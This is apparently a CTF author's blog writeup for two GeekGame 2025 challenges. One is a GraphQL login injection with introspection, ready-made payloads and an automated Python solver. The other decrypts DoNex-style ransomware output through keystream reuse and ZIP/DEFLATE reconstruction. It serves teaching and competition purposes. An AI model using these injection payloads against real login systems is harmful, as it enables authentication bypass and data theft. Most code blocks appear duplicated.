ouuan's blog

GeekGame 2025 出题人题解：统一身份认证、勒索病毒

Sun, 26 Oct 2025 04:32:03 GMT

GeekGame 2025【统一身份认证】（web-graphauth）和【勒索病毒】（misc-ransomware）的出题人题解。

统一身份认证

Flag 1

在登录和注册时，直接将用户输入拼接在了 GraphQL 查询中，用引号就可以闭合字符串进行注入。

query = f'''
query ($username: String = "{username}", $password: String = "{password}") {{
  login(username: $username, password: $password) {{
    ok
    isAdmin
    username
  }}
}}
'''

query = f'''
query ($username: String = "{username}", $password: String = "{password}") {{
  login(username: $username, password: $password) {{
    ok
    isAdmin
    username
  }}
}}
'''

攻击目标是返回 "login": { "ok": true, "isAdmin": true, "username": "xxx" }，而查询中本来有的这个 login 没法篡改，只能注入一个新的 login。代码中检查 ok 时只需要 truthy 即可，而检查 isAdmin 时写的是 == True，所以必须是 true，而能够返回 true 的除了 isAdmin 只有 ok，通过 alias，可以让返回值中的 isAdmin 字段放 ok 的值。

query ($username: String = "username", $password: String = "password") {
  login(username: $username, password: $password) {
    ok
    isAdmin: ok
    username
  }") {
  login(username: $username, password: $password) {
    ok
    isAdmin
    username
  }
}

query ($username: String = "username", $password: String = "password") {
  login(username: $username, password: $password) {
    ok
    isAdmin: ok
    username
  }") {
  login(username: $username, password: $password) {
    ok
    isAdmin
    username
  }
}

此时还需要处理掉查询语句中的 ") { 以及原有的这个 login。") { 通过注释 # 就可以处理。原有的 login 会造成重复而出错，给一个 alias 就行：

query ($username: String = "username", $password: String = "password") {
  login(username: $username, password: $password) {
    ok
    isAdmin: ok
    username
  }
  original: #") {
  login(username: $username, password: $password) {
    ok
    isAdmin
    username
  }
}

query ($username: String = "username", $password: String = "password") {
  login(username: $username, password: $password) {
    ok
    isAdmin: ok
    username
  }
  original: #") {
  login(username: $username, password: $password) {
    ok
    isAdmin
    username
  }
}

Flag 2

schema 是未知的，要拿到 flag 就需要先获取 schema。GraphQL 提供了 introspection 功能，可以通过 GraphQL query 来查询 schema。

GraphQL introspection 有三个主要方法：

在任何地方都可以问 __typename 得到类型名
在 Query 可以问 __type(name: "Type") 获取特定类型的 schema
在 Query 可以问 __schema 获取整个 schema

通过 __schema { types { ... } } 就可以一次性获取整个 schema 中需要的信息：

login: __schema {
  ok: __typename
  isAdmin: __typename
  username: types {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}

login: __schema {
  ok: __typename
  isAdmin: __typename
  username: types {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}

而由于 flag 藏的不是特别深，也可以一层层问下去：

__type(name: "Secret") {
  ok: name
  isAdmin: name
  username: fields {
    name
    type {
      name
      fields {
        name
        type {
          name
          fields {
            name
            type {
              name
              fields {
                name
                type {
                  name
                  fields {
                    name
                    type {
                      name
                      fields {
                        name
                        type {
                          name
                          fields {
                            name
                            type {
                              name
                              fields {
                                name
                                type { name }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

__type(name: "Secret") {
  ok: name
  isAdmin: name
  username: fields {
    name
    type {
      name
      fields {
        name
        type {
          name
          fields {
            name
            type {
              name
              fields {
                name
                type {
                  name
                  fields {
                    name
                    type {
                      name
                      fields {
                        name
                        type {
                          name
                          fields {
                            name
                            type {
                              name
                              fields {
                                name
                                type { name }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

拿到 schema 之后，就可以查询 flag 了。利用 login 中的 username 进行回显，需要给 ok 和 isAdmin 填东西，让 ok 为 truthy。如果都查 flag，整个询问太长，无法通过一开始的 256 长度限制，但后来这个限制被放宽了，所以就够了：secret {{ ok: {query} isAdmin: {query} username: {query} }}

我有四种询问构造方法可以缩短长度：

可以使用 __typename：login: secret {{ ok: __typename isAdmin: __typename username: {query} }}
实际上，观察代码可以发现，如果缺少 isAdmin 字段，虽然会返回“登录失败”，但此时 session['username'] 已赋值，可以拿到回显，所以不需要 isAdmin 字段：login: secret {{ ok: {query} username: {query} }}

可以使用 fragment 把重复的 flag 查询提取出来：

f'''
login: secret {{
    ok: secret_{xxx} {{ ... i }}
    isAdmin: secret_{xxx} {{ ... i }}
    username: secret_{xxx} {{ ... i }}
  }}
  ... l
}}
fragment i on Secret_{yyy} {{
  {inner_query}
}}
fragment l on Query {{
    x: #'''

f'''
login: secret {{
    ok: secret_{xxx} {{ ... i }}
    isAdmin: secret_{xxx} {{ ... i }}
    username: secret_{xxx} {{ ... i }}
  }}
  ... l
}}
fragment i on Secret_{yyy} {{
  {inner_query}
}}
fragment l on Query {{
    x: #'''

还可以找到最浅的叶子节点（scalar value）代替 flag 放到 ok 和 isAdmin。根据 schema 的随机生成方式，有 94% 的概率（没算错的话）payload 长度能在 256 以内；如果你非常不幸，可以重开题目。

除了上面这些查询构造方法，还可以在发送 payload 时同时利用 username 和 password，只不过由于 username 长度限制太小，这个优化效果不大：username 填 ",$password:String=""){login:#，password 填 \n{payload}x:#，可以省下 ){login:。另外，把 object 放前面 scalar 放后面可以利用大括号省去一个空格。

但这些都是我在开赛后发现有人被卡长度才想到的，一开始根本没意识到这里会卡住（

完整脚本（这个是纯自动的，包含上面提到的各种做法，实际做不需要纯自动，比如可以手动得到 flag 询问路径）：

from ast import literal_eval
from html import unescape
from http.cookies import SimpleCookie
import os
import re
import requests
import secrets

URL = os.environ.get('URL', 'http://localhost:5000')
COOKIE = os.environ.get('COOKIE', '')

cookie = SimpleCookie()
cookie.load(COOKIE)
session = requests.Session()
session.cookies.update({k: v.value for k, v in cookie.items()})


def register(username, password):
    res = session.post(
        f'{URL}/register',
        data={'username': username, 'password': password}
    )
    res.raise_for_status()


def login(username, password):
    print(f'{username = }')
    print(f'{password = }')
    res = session.post(
        f'{URL}/login',
        data={'username': username, 'password': password}
    )
    res.raise_for_status()
    return res.text


def sol1():
    username = secrets.token_hex(16)
    password = secrets.token_hex(16)
    register(username, password)

    payload = f'''{password}") {{
    login(username: $username, password: $password) {{
      ok
      isAdmin: ok
      username
    }}
    originalQuery:
    #'''

    print(login(username, payload))


def send(payload: str):
    payload = re.sub(r"\s+", ' ', payload)
    payload = re.sub(r"^ | $|(?<=\W) | (?=\W)", '', payload)
    # res = login('x', f'"){{login:{payload}x:#')
    res = login('",$password:String=""){login:#', f'\n{payload}x:#')
    username = re.search(r'用户名\s*(.*?)', res)
    assert username is not None
    return literal_eval(unescape(username.group(1)))


def introspection1():
    introspection = '''
    __schema {
      ok: __typename
      username: types {
        name
        fields {
          name
          type {
            name
          }
        }
      }
    }
    '''

    fields = {}

    types = send(introspection)

    for t in types:
        if t.get('fields') is None:
            continue
        fields[t['name']] = {}
        for f in t['fields']:
            fields[t['name']][f['name']] = f['type']['name']

    return fields


def introspection2():
    introspection = '''
    __type(name: "Secret") {
      ok: name
      username: fields {
        name
        type {
          name
          fields {
            name
            type {
              name
              fields {
                name
                type {
                  name
                  fields {
                    name
                    type {
                      name
                      fields {
                        name
                        type {
                          name
                          fields {
                            name
                            type {
                              name
                              fields {
                                name
                                type {
                                  name
                                  fields {
                                    name
                                    type { name }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    '''

    secret_fields = send(introspection)

    fields = {}

    def dfs(u):
        if u['name'] in fields or u.get('fields') is None:
            return
        fields[u['name']] = {}
        for f in u['fields']:
            fields[u['name']][f['name']] = f['type']['name']
            dfs(f['type'])

    dfs({'name': 'Secret', 'fields': secret_fields})

    return fields


def bfs(fields):
    path = {'Secret': ''}
    queue = ['Secret']

    while len(queue) > 0:
        u = queue.pop(0)
        if u not in fields:
            continue
        for f, v in fields[u].items():
            if v not in path:
                path[v] = path[u].replace('', f'{f}{{}}')
                queue.append(v)

    return path


def flag_query(fields, path):
    for u in fields:
        for f in fields[u]:
            if f == 'flag2':
                return path[u].replace('', f)


def get_short(fields):
    """shortest payload"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ username: {query} ok: __typename }}')
    print(res)


def get_long(fields):
    """long payload"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: {query} isAdmin: {query} username: {query} }}')
    print(res)


def get1(fields):
    """use __typename"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: __typename isAdmin: __typename username: {query} }}')
    print(res)


def get2(fields):
    """omit isAdmin"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: {query} username: {query} }}')
    print(res)


def get3(fields):
    """use fragment"""

    path = bfs(fields)
    query = flag_query(fields, path)
    assert query is not None

    query_match = re.match(r'(\w+)\{(.*)\}', query)
    assert query_match is not None
    outer = query_match.group(1)
    inner = query_match.group(2)

    res = send(f'''secret {{
        ok: {outer} {{ ... i }}
        isAdmin: {outer} {{ ... i }}
        username: {outer} {{ ... i }}
      }}
      ... l
    }}
    fragment i on {fields["Secret"][outer]} {{
      {inner}
    }}
    fragment l on Query {{
    ''')

    print(res)


def get4(fields):
    """use shortest leaf"""

    path = bfs(fields)
    query = flag_query(fields, path)

    shortest = 'a' * 1000
    for u, p in path.items():
        if u not in fields:
            continue
        for f in fields[u]:
            if f.startswith('not_flag'):
                q = p.replace('', f)
                if len(q) < len(shortest):
                    shortest = q

    res = send(f'secret {{ ok: {shortest} isAdmin: {shortest} username: {query} }}')
    print(res)


def sol2():
    fields = introspection1()
    # fields = introspection2()

    get_short(fields)
    # get_long(fields)
    # get1(fields)
    # get2(fields)
    # get3(fields)
    # get4(fields)


def easter_egg():
    query = '''secret {
      ok: __typename
      username: not_part_of_challenge {
        selectOnePresetData(presetKey: "103765749452800", XH: "2025019999", KCH: "77777777") {
          XH KCH KSRQ XNXQ XF KCMC ZCJ
        }
      }
    }'''
    print(send(query))


sol1()

sol2()

easter_egg()

from ast import literal_eval
from html import unescape
from http.cookies import SimpleCookie
import os
import re
import requests
import secrets

URL = os.environ.get('URL', 'http://localhost:5000')
COOKIE = os.environ.get('COOKIE', '')

cookie = SimpleCookie()
cookie.load(COOKIE)
session = requests.Session()
session.cookies.update({k: v.value for k, v in cookie.items()})


def register(username, password):
    res = session.post(
        f'{URL}/register',
        data={'username': username, 'password': password}
    )
    res.raise_for_status()


def login(username, password):
    print(f'{username = }')
    print(f'{password = }')
    res = session.post(
        f'{URL}/login',
        data={'username': username, 'password': password}
    )
    res.raise_for_status()
    return res.text


def sol1():
    username = secrets.token_hex(16)
    password = secrets.token_hex(16)
    register(username, password)

    payload = f'''{password}") {{
    login(username: $username, password: $password) {{
      ok
      isAdmin: ok
      username
    }}
    originalQuery:
    #'''

    print(login(username, payload))


def send(payload: str):
    payload = re.sub(r"\s+", ' ', payload)
    payload = re.sub(r"^ | $|(?<=\W) | (?=\W)", '', payload)
    # res = login('x', f'"){{login:{payload}x:#')
    res = login('",$password:String=""){login:#', f'\n{payload}x:#')
    username = re.search(r'用户名\s*(.*?)', res)
    assert username is not None
    return literal_eval(unescape(username.group(1)))


def introspection1():
    introspection = '''
    __schema {
      ok: __typename
      username: types {
        name
        fields {
          name
          type {
            name
          }
        }
      }
    }
    '''

    fields = {}

    types = send(introspection)

    for t in types:
        if t.get('fields') is None:
            continue
        fields[t['name']] = {}
        for f in t['fields']:
            fields[t['name']][f['name']] = f['type']['name']

    return fields


def introspection2():
    introspection = '''
    __type(name: "Secret") {
      ok: name
      username: fields {
        name
        type {
          name
          fields {
            name
            type {
              name
              fields {
                name
                type {
                  name
                  fields {
                    name
                    type {
                      name
                      fields {
                        name
                        type {
                          name
                          fields {
                            name
                            type {
                              name
                              fields {
                                name
                                type {
                                  name
                                  fields {
                                    name
                                    type { name }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    '''

    secret_fields = send(introspection)

    fields = {}

    def dfs(u):
        if u['name'] in fields or u.get('fields') is None:
            return
        fields[u['name']] = {}
        for f in u['fields']:
            fields[u['name']][f['name']] = f['type']['name']
            dfs(f['type'])

    dfs({'name': 'Secret', 'fields': secret_fields})

    return fields


def bfs(fields):
    path = {'Secret': ''}
    queue = ['Secret']

    while len(queue) > 0:
        u = queue.pop(0)
        if u not in fields:
            continue
        for f, v in fields[u].items():
            if v not in path:
                path[v] = path[u].replace('', f'{f}{{}}')
                queue.append(v)

    return path


def flag_query(fields, path):
    for u in fields:
        for f in fields[u]:
            if f == 'flag2':
                return path[u].replace('', f)


def get_short(fields):
    """shortest payload"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ username: {query} ok: __typename }}')
    print(res)


def get_long(fields):
    """long payload"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: {query} isAdmin: {query} username: {query} }}')
    print(res)


def get1(fields):
    """use __typename"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: __typename isAdmin: __typename username: {query} }}')
    print(res)


def get2(fields):
    """omit isAdmin"""
    path = bfs(fields)
    query = flag_query(fields, path)
    res = send(f'secret {{ ok: {query} username: {query} }}')
    print(res)


def get3(fields):
    """use fragment"""

    path = bfs(fields)
    query = flag_query(fields, path)
    assert query is not None

    query_match = re.match(r'(\w+)\{(.*)\}', query)
    assert query_match is not None
    outer = query_match.group(1)
    inner = query_match.group(2)

    res = send(f'''secret {{
        ok: {outer} {{ ... i }}
        isAdmin: {outer} {{ ... i }}
        username: {outer} {{ ... i }}
      }}
      ... l
    }}
    fragment i on {fields["Secret"][outer]} {{
      {inner}
    }}
    fragment l on Query {{
    ''')

    print(res)


def get4(fields):
    """use shortest leaf"""

    path = bfs(fields)
    query = flag_query(fields, path)

    shortest = 'a' * 1000
    for u, p in path.items():
        if u not in fields:
            continue
        for f in fields[u]:
            if f.startswith('not_flag'):
                q = p.replace('', f)
                if len(q) < len(shortest):
                    shortest = q

    res = send(f'secret {{ ok: {shortest} isAdmin: {shortest} username: {query} }}')
    print(res)


def sol2():
    fields = introspection1()
    # fields = introspection2()

    get_short(fields)
    # get_long(fields)
    # get1(fields)
    # get2(fields)
    # get3(fields)
    # get4(fields)


def easter_egg():
    query = '''secret {
      ok: __typename
      username: not_part_of_challenge {
        selectOnePresetData(presetKey: "103765749452800", XH: "2025019999", KCH: "77777777") {
          XH KCH KSRQ XNXQ XF KCMC ZCJ
        }
      }
    }'''
    print(send(query))


sol1()

sol2()

easter_egg()

这个最短的 payload 只需要 130 字符的 password：

username = '",$password:String=""){login:#'
password = '\n__schema{ok:__typename username:types{name fields{name type{name}}}}x:#'
username = '",$password:String=""){login:#'
password = '\nsecret{username:secret_EKFB{secret_BUNy{secret_3gjd{secret_695y{secret_DL6P{secret_A1NB{secret_r6H0{flag2}}}}}}}ok:__typename}x:#'

username = '",$password:String=""){login:#'
password = '\n__schema{ok:__typename username:types{name fields{name type{name}}}}x:#'
username = '",$password:String=""){login:#'
password = '\nsecret{username:secret_EKFB{secret_BUNy{secret_3gjd{secret_695y{secret_DL6P{secret_A1NB{secret_r6H0{flag2}}}}}}}ok:__typename}x:#'

这题的 rate limit 主要是用来 ban 掉每次用 __type(name: "Secret_XXX") 只查一个类型的单层字段，但如果你每问 200 次就重启一次容器，理论上可以在数十小时内尝试成功（

彩蛋

这题的 schema 中还有一个彩蛋，本来发现它还比较困难，但给了一个 secret.gql 示例其实就容易发现了，但还是没人玩（

type NotPartOfChallenge {
  selectOnePresetData(presetKey: String!, XH: String!, KCH: String!): Preset103765749452800
  formParser(status: String!, presetbind: String!, XH: String!, KCH: String!): Preset103765749452800
}

type Preset103765749452800 {
  msg: String
  status: String
  XH: String
  KCH: String
  KSRQ: String
  XNXQ: String
  XF: Int
  KCMC: String
  ZCJ: Int
}

type NotPartOfChallenge {
  selectOnePresetData(presetKey: String!, XH: String!, KCH: String!): Preset103765749452800
  formParser(status: String!, presetbind: String!, XH: String!, KCH: String!): Preset103765749452800
}

type Preset103765749452800 {
  msg: String
  status: String
  XH: String
  KCH: String
  KSRQ: String
  XNXQ: String
  XF: Int
  KCMC: String
  ZCJ: Int
}

THU 三字班以上的同学或许知道这是什么（

{
  "selectOnePresetData": {
    "KCH": "77777777",
    "KCMC": "2025 “京华杯” 信息安全综合能力竞赛",
    "KSRQ": "20251024",
    "XF": 7,
    "XH": "2025019999",
    "XNXQ": "2025-2026-1",
    "ZCJ": -99
  }
}

{
  "selectOnePresetData": {
    "KCH": "77777777",
    "KCMC": "2025 “京华杯” 信息安全综合能力竞赛",
    "KSRQ": "20251024",
    "XF": 7,
    "XH": "2025019999",
    "XNXQ": "2025-2026-1",
    "ZCJ": -99
  }
}

勒索病毒

令人遗憾的是这题题面确实没有彩蛋（

P.S. 题目背景仅供娱乐，我不仅日常用 Linux，甚至双系统的 Windows 坏了几个月一直懒得修（

Flag 1

根据勒索信可以搜到关于 DoNex 的资料，比如 decryptor，以及 Cryptography is hard: Breaking the DoNex ransomware :: Recon 2024。

漏洞很简单，就是重用了流密码，所以把已知明文、对应的密文、另一个密文异或在一起就能得到另一个明文。被加密的文件中有上一届的 algo-gzip.py，就有了已知明文。

如果直接用 decryptor，可能会提示解密不了，这是因为长度不对，而长度不对是因为被加密的文件是 CRLF，而从 GitHub 下载的文件是 LF，需要转换一下。如果你注意力惊人，或者在 Windows 上采用默认 Git 配置 checkout 文件而非从 GitHub 网页下载，就能直接拿到 CRLF 的 algo-gzip.py。而如果你是自己写的异或解密而不是用的现成的 decryptor，没有先检查文件长度，你就会发现解密出来开头是 This file contaiiZ#，后面都是乱码，此时，结合 algo-gzip.py 第一行的长度，只需要不惊人的注意力就能意识到，可能是 CRLF 的问题。

root = argv[1]

with open('algo-gzip.py', 'rb') as f:
    known = f.read()

with open(f'{root}/geekgame-4th/official_writeup/algo-gzip/attachment/algo-gzip.f58A66B51.py', 'rb') as f:
    known_encrypted = f.read()

with open(f'{root}/geekgame-5th/problemset/misc-ransomware/flag1-2-3.f58A66B51.txt', 'rb') as f:
    flags_encrypted = f.read()

flags_partial = bytes(a ^ b ^ c for a, b, c in zip(known, known_encrypted, flags_encrypted))
print(flags_partial)
flag1 = re.search(br'flag\{.+?\}', flags_partial).group(0).decode()
print(f'{flag1 = }\n')

root = argv[1]

with open('algo-gzip.py', 'rb') as f:
    known = f.read()

with open(f'{root}/geekgame-4th/official_writeup/algo-gzip/attachment/algo-gzip.f58A66B51.py', 'rb') as f:
    known_encrypted = f.read()

with open(f'{root}/geekgame-5th/problemset/misc-ransomware/flag1-2-3.f58A66B51.txt', 'rb') as f:
    flags_encrypted = f.read()

flags_partial = bytes(a ^ b ^ c for a, b, c in zip(known, known_encrypted, flags_encrypted))
print(flags_partial)
flag1 = re.search(br'flag\{.+?\}', flags_partial).group(0).decode()
print(f'{flag1 = }\n')

Flag 2

algo-gzip.py 只提供了开头一段密钥，继续解密需要更多的已知明文。附件里有一个声称没有存储 flag 的 ZIP 文件，而 ZIP 文件格式中很多信息会冗余存储，所以可以从不完整的 ZIP 文件中恢复一些缺失的部分（从 LFH 恢复 CDH 和 EOCD）。根据文件长度可以确定 ZIP 里没有第三个文件。可以搜一篇教程或者看 APPNOTE.TXT 学习一下 ZIP 文件结构。当然，也可以让 AI 写，或者用一些现成的工具。

CDH 中有一些 LFH 没有的字段，其中最难确定的是 external attributes，但我特意让 flag 从这个字段开始，如果设为 0 会得到 fl\xe1f{，把它修复为 flag{，后面也用相同的值就可以修复。当然，直接猜也是可以的，考察第三人称单数的使用，以及识别 ^T 是一个字符还是两个字符。

from construct import Struct, Int32ul, Int16ul, Bytes, this

LFH_SIGNATURE = 0x04034b50
LocalFileHeader = Struct(
    "signature" / Int32ul,
    "version_needed" / Int16ul,
    "flags" / Int16ul,
    "compression" / Int16ul,
    "mod_time" / Int16ul,
    "mod_date" / Int16ul,
    "crc32" / Int32ul,
    "compressed_size" / Int32ul,
    "uncompressed_size" / Int32ul,
    "filename_length" / Int16ul,
    "extra_length" / Int16ul,
    "filename" / Bytes(this.filename_length),
    "extra" / Bytes(this.extra_length)
)

CDH_SIGNATURE = 0x02014b50
CentralDirHeader = Struct(
    "signature" / Int32ul,
    "version_made_by" / Int16ul,
    "version_needed" / Int16ul,
    "flags" / Int16ul,
    "compression" / Int16ul,
    "mod_time" / Int16ul,
    "mod_date" / Int16ul,
    "crc32" / Int32ul,
    "compressed_size" / Int32ul,
    "uncompressed_size" / Int32ul,
    "filename_length" / Int16ul,
    "extra_length" / Int16ul,
    "comment_length" / Int16ul,
    "disk_number_start" / Int16ul,
    "internal_attrs" / Int16ul,
    "external_attrs" / Int32ul,
    "local_header_offset" / Int32ul,
    "filename" / Bytes(this.filename_length),
    "extra" / Bytes(this.extra_length),
    "comment" / Bytes(this.comment_length)
)

EOCDR_SIGNATURE = 0x06054b50
Eocdr = Struct(
    "signature" / Int32ul,
    "disk_number" / Int16ul,
    "disk_start" / Int16ul,
    "disk_entries" / Int16ul,
    "total_entries" / Int16ul,
    "cd_size" / Int32ul,
    "cd_offset" / Int32ul,
    "comment_length" / Int16ul,
    "comment" / Bytes(this.comment_length)
)

from construct import Struct, Int32ul, Int16ul, Bytes, this

LFH_SIGNATURE = 0x04034b50
LocalFileHeader = Struct(
    "signature" / Int32ul,
    "version_needed" / Int16ul,
    "flags" / Int16ul,
    "compression" / Int16ul,
    "mod_time" / Int16ul,
    "mod_date" / Int16ul,
    "crc32" / Int32ul,
    "compressed_size" / Int32ul,
    "uncompressed_size" / Int32ul,
    "filename_length" / Int16ul,
    "extra_length" / Int16ul,
    "filename" / Bytes(this.filename_length),
    "extra" / Bytes(this.extra_length)
)

CDH_SIGNATURE = 0x02014b50
CentralDirHeader = Struct(
    "signature" / Int32ul,
    "version_made_by" / Int16ul,
    "version_needed" / Int16ul,
    "flags" / Int16ul,
    "compression" / Int16ul,
    "mod_time" / Int16ul,
    "mod_date" / Int16ul,
    "crc32" / Int32ul,
    "compressed_size" / Int32ul,
    "uncompressed_size" / Int32ul,
    "filename_length" / Int16ul,
    "extra_length" / Int16ul,
    "comment_length" / Int16ul,
    "disk_number_start" / Int16ul,
    "internal_attrs" / Int16ul,
    "external_attrs" / Int32ul,
    "local_header_offset" / Int32ul,
    "filename" / Bytes(this.filename_length),
    "extra" / Bytes(this.extra_length),
    "comment" / Bytes(this.comment_length)
)

EOCDR_SIGNATURE = 0x06054b50
Eocdr = Struct(
    "signature" / Int32ul,
    "disk_number" / Int16ul,
    "disk_start" / Int16ul,
    "disk_entries" / Int16ul,
    "total_entries" / Int16ul,
    "cd_size" / Int32ul,
    "cd_offset" / Int32ul,
    "comment_length" / Int16ul,
    "comment" / Bytes(this.comment_length)
)

zip_partial = bytes(a ^ b ^ c for a, b, c in zip(known, known_encrypted, zip_encrypted))
zip_io = BytesIO(zip_partial)

lfh1 = LocalFileHeader.parse_stream(zip_io)
assert lfh1 is not None
data1 = zip_io.read(lfh1.compressed_size)
offset2 = zip_io.tell()

lfh2 = LocalFileHeader.parse_stream(zip_io)
assert lfh2 is not None
data2_offset = zip_io.tell()
data2_head = zip_io.read()

zip_io.write(b'\0' * (lfh2.compressed_size - len(data2_head)))
cd_offset = zip_io.tell()

external_attrs = 0x1800000

cdh1 = CentralDirHeader.build(dict(
    signature=CDH_SIGNATURE,
    version_made_by=lfh1.version_needed,
    version_needed=lfh1.version_needed,
    flags=lfh1.flags,
    compression=lfh1.compression,
    mod_time=lfh1.mod_time,
    mod_date=lfh1.mod_date,
    crc32=lfh1.crc32,
    compressed_size=lfh1.compressed_size,
    uncompressed_size=lfh1.uncompressed_size,
    filename_length=lfh1.filename_length,
    extra_length=0,
    comment_length=0,
    disk_number_start=0,
    internal_attrs=0,
    external_attrs=external_attrs,
    local_header_offset=0,
    filename=lfh1.filename,
    extra=bytes(),
    comment=bytes(),
))
zip_io.write(cdh1)

cdh2 = CentralDirHeader.build(dict(
    signature=CDH_SIGNATURE,
    version_made_by=lfh2.version_needed,
    version_needed=lfh2.version_needed,
    flags=lfh2.flags,
    compression=lfh2.compression,
    mod_time=lfh2.mod_time,
    mod_date=lfh2.mod_date,
    crc32=lfh2.crc32,
    compressed_size=lfh2.compressed_size,
    uncompressed_size=lfh2.uncompressed_size,
    filename_length=lfh2.filename_length,
    extra_length=0,
    comment_length=0,
    disk_number_start=0,
    internal_attrs=0,
    external_attrs=external_attrs,
    local_header_offset=offset2,
    filename=lfh2.filename,
    extra=bytes(),
    comment=bytes(),
))
zip_io.write(cdh2)

eocdr = Eocdr.build(dict(
    signature=EOCDR_SIGNATURE,
    disk_number=0,
    disk_start=0,
    disk_entries=2,
    total_entries=2,
    cd_size=len(cdh1)+len(cdh2),
    cd_offset=cd_offset,
    comment_length=0,
    comment=bytes(),
))
zip_io.write(eocdr)

zip_io.seek(0)
zip_complete = zip_io.read()

flags_partial2 = bytes(a ^ b ^ c for a, b, c in zip(flags_encrypted, zip_encrypted, zip_complete))[cd_offset:]
print(flags_partial2)
flag2 = re.search(br'flag\{.+?\}', flags_partial2).group(0).decode()
print(f'{flag2 = }\n')

zip_partial = bytes(a ^ b ^ c for a, b, c in zip(known, known_encrypted, zip_encrypted))
zip_io = BytesIO(zip_partial)

lfh1 = LocalFileHeader.parse_stream(zip_io)
assert lfh1 is not None
data1 = zip_io.read(lfh1.compressed_size)
offset2 = zip_io.tell()

lfh2 = LocalFileHeader.parse_stream(zip_io)
assert lfh2 is not None
data2_offset = zip_io.tell()
data2_head = zip_io.read()

zip_io.write(b'\0' * (lfh2.compressed_size - len(data2_head)))
cd_offset = zip_io.tell()

external_attrs = 0x1800000

cdh1 = CentralDirHeader.build(dict(
    signature=CDH_SIGNATURE,
    version_made_by=lfh1.version_needed,
    version_needed=lfh1.version_needed,
    flags=lfh1.flags,
    compression=lfh1.compression,
    mod_time=lfh1.mod_time,
    mod_date=lfh1.mod_date,
    crc32=lfh1.crc32,
    compressed_size=lfh1.compressed_size,
    uncompressed_size=lfh1.uncompressed_size,
    filename_length=lfh1.filename_length,
    extra_length=0,
    comment_length=0,
    disk_number_start=0,
    internal_attrs=0,
    external_attrs=external_attrs,
    local_header_offset=0,
    filename=lfh1.filename,
    extra=bytes(),
    comment=bytes(),
))
zip_io.write(cdh1)

cdh2 = CentralDirHeader.build(dict(
    signature=CDH_SIGNATURE,
    version_made_by=lfh2.version_needed,
    version_needed=lfh2.version_needed,
    flags=lfh2.flags,
    compression=lfh2.compression,
    mod_time=lfh2.mod_time,
    mod_date=lfh2.mod_date,
    crc32=lfh2.crc32,
    compressed_size=lfh2.compressed_size,
    uncompressed_size=lfh2.uncompressed_size,
    filename_length=lfh2.filename_length,
    extra_length=0,
    comment_length=0,
    disk_number_start=0,
    internal_attrs=0,
    external_attrs=external_attrs,
    local_header_offset=offset2,
    filename=lfh2.filename,
    extra=bytes(),
    comment=bytes(),
))
zip_io.write(cdh2)

eocdr = Eocdr.build(dict(
    signature=EOCDR_SIGNATURE,
    disk_number=0,
    disk_start=0,
    disk_entries=2,
    total_entries=2,
    cd_size=len(cdh1)+len(cdh2),
    cd_offset=cd_offset,
    comment_length=0,
    comment=bytes(),
))
zip_io.write(eocdr)

zip_io.seek(0)
zip_complete = zip_io.read()

flags_partial2 = bytes(a ^ b ^ c for a, b, c in zip(flags_encrypted, zip_encrypted, zip_complete))[cd_offset:]
print(flags_partial2)
flag2 = re.search(br'flag\{.+?\}', flags_partial2).group(0).decode()
print(f'{flag2 = }\n')

Flag 3

最后文件中未知的还有两段，一段是压缩数据，一段是超过 ZIP 文件长度的末尾，显然只有前者是能破解的（除非末尾的密钥能破解）；实际上我在 gen.py 里往后者塞了一个假 flag，但这对结果其实没有任何影响。

学习 DEFLATE 数据结构，然后解析一下已知的开头部分，可以发现它的动态 Huffman 树已经确定。观察编码可以发现，只有 6 个 literal 编码非零，长度分别为 1、2、3、4、14、15。而根据 ZIP 字段中记录的长度，这个 DEFLATE 是把 30 字节的原数据编码成了约 90 字节。从编码后长度中减去 DEFLATE header 的长度，再考虑到最后一个 byte 可能有 1~8 个 bit，可以得到编码数据减去末尾 EOB 的长度可能为 440~447。如果数据中包含编码长度为 1~4 的 literal，编码后长度就会小于 440，而如果采用了 distance length pair，则会更短。因此，数据中只可能包含编码长度为 14、15 的 literal，具体来说是 3~10 个编码长度为 14 的 literal，剩下的为编码长度为 15 的 literal。

于是，数据的构成就基本确定了，只需枚举 $5.3 \times 10^7$ 种排列组合。而 ZIP 字段中提供了 CRC32 校验和，可以用来校验哪个排列是正确的。后来才想到，除了 CRC32，还可以根据 flag 都是 ASCII 可见字符来筛选，这样有一些别的做法，但可能还更麻烦。

P.S. 感觉这题造 DEFLATE 编码以及对齐明文和 flag 的位置比做题难（在思路已知的前提下（

P.P.S. 各种排列组合的 CRC32 似乎都没有冲突（如果是随机的 32bit 则会有大量重复），我怀疑这是可以证明的，但我不懂这个，就造完数据后枚举一遍来保证唯一性了（

deflate_info = parse_deflate_dynamic_header(data2_head, 3)

litlen_tree = deflate_info['litlen_tree']
l14 = 0
l15 = 0
c14 = (0, 0)
c15 = (0, 0)
eob_code = (0, 0)
print('literal codes:')
for code, sym in litlen_tree.items():
    if sym < 256:
        print(f'{sym}: {code}')
        if code[1] == 14:
            l14 = sym
            c14 = code
        elif code[1] == 15:
            l15 = sym
            c15 = code
    elif sym == 256:
        eob_code = code

n = lfh2.uncompressed_size
deflate_header_len = deflate_info['bits_consumed'] + 3
max_total_lit_len = lfh2.compressed_size * 8 - deflate_header_len - eob_code[1]
min_total_lit_len = max_total_lit_len - 7
all_15_len = 15 * n
print(f'{min_total_lit_len = }, {all_15_len = }')
min_14_count = all_15_len - max_total_lit_len
max_14_count = all_15_len - min_total_lit_len

for mask in tqdm(range(1 << n)):
    if not min_14_count <= mask.bit_count() <= max_14_count:
        continue
